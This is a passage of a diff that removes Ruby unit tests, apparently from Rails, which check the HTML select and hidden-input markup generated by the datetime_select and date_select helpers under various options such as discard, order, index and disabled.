- expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
- end
-
- def test_datetime_select_with_options_index
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
- id = 456
-
- expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :index => id)
- end
-
- def test_datetime_select_within_fields_for_with_options_index
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
- id = 456
-
- output_buffer = fields_for :post, @post, :index => id do |f|
- concat f.datetime_select(:updated_at)
- end
-
- expected = %{<select id="post_456_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_456_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_456_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_456_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_datetime_select_with_auto_index
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
- id = @post.id
-
- expected = %{<select id="post_123_updated_at_1i" name="post[#{id}][updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_123_updated_at_2i" name="post[#{id}][updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_123_updated_at_3i" name="post[#{id}][updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_123_updated_at_4i" name="post[#{id}][updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_123_updated_at_5i" name="post[#{id}][updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post[]", "updated_at")
- end
-
- def test_datetime_select_with_seconds
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :include_seconds => true)
- end
-
- def test_datetime_select_discard_year
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true)
- end
-
- def test_datetime_select_discard_month
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_month => true)
- end
-
- def test_datetime_select_discard_year_and_month
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_year => true, :discard_month => true)
- end
-
- def test_datetime_select_discard_year_and_month_with_disabled_html_option
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
-
- expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", { :discard_year => true, :discard_month => true }, :disabled => true)
- end
-
- def test_datetime_select_discard_hour
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_hour => true)
- end
-
- def test_datetime_select_discard_minute
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true)
- end
-
- def test_datetime_select_disabled_and_discard_minute
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :discard_minute => true, :disabled => true)
- end
-
- def test_datetime_select_invalid_order
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:minute, :day, :hour, :month, :year, :second])
- end
-
- def test_datetime_select_discard_with_order
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 6}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :order => [:day, :month])
- end
-
- def test_datetime_select_with_default_value_as_time
- @post = Post.new
- @post.updated_at = nil
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- 2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- 1.upto(12) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 9}>#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- 1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 19}>#{i}</option>\n) }
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35))
- end
-
- def test_include_blank_overrides_default_option
- @post = Post.new
- @post.updated_at = nil
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %(<option value=""></option>\n)
- (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %(<option value=""></option>\n)
- 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %(<option value=""></option>\n)
- 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "updated_at", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true)
- end
-
- def test_datetime_select_with_default_value_as_hash
- @post = Post.new
- @post.updated_at = nil
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
- expected << "</select>\n"
